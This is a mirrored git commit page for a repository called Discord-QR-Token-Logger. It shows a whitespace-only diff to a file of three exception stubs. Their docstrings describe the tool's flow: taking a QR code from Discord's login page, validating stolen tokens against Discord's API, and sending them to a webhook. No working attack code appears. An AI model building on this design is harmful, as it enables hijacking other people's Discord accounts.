mirror of
https://github.com/9P9/Discord-QR-Token-Logger.git
synced 2025-04-18 14:15:26 +00:00
Update exceptions.py
This commit is contained in:
parent
e7a8ddb932
commit
6518a9d6ef
@ -2,6 +2,7 @@ class QRCodeNotFound(Exception):
|
||||
"""This exception should be raised if a QR code can not be found
|
||||
on the Discord login page.
|
||||
"""
|
||||
|
||||
pass
|
||||
|
||||
|
||||
@ -9,6 +10,7 @@ class InvalidToken(Exception):
|
||||
"""This exception should be raised if a token does not receive
|
||||
a response status code of 200 when tested against Discord's API.
|
||||
"""
|
||||
|
||||
pass
|
||||
|
||||
|
||||
@ -16,4 +18,5 @@ class WebhookSendFailure(Exception):
|
||||
"""This exception should be raised if the token webhook fails
|
||||
to send, for whatever reason.
|
||||
"""
|
||||
|
||||
pass
|
||||
|
Loading…
x
Reference in New Issue
Block a user